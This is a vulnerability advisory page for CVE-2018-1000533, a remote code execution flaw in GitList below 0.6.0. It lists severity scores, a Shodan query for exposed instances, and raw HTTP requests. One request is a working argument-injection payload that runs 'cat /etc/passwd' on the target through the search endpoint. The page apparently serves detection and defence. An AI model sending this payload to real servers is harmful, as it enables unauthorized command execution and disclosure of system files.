🔙 목록으로 돌아가기

CVE-2018-1000533: GitList < 0.6.0 Remote Code Execution

TitleGitList < 0.6.0 Remote Code Execution
Authorpikpikcu
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.
RemediationUpgrade GitList to version 0.6.0 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.92427
CVE IDCVE-2018-1000533
CWE IDCWE-20
Shodan Querycpe:"cpe:2.3:a:gitlist:gitlist"
Tags cve cve2018 git gitlist vulhub rce vuln

🔍 Vulnerability Description

klaussilveira GitList version <= 0.6 contains a passing incorrectly sanitized input via the searchTree function that can result in remote code execution.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /FPWrSu/tree/a/search HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: close
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

query=--open-files-in-pager=cat%20/etc/passwd

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-1000533.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-1000533.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A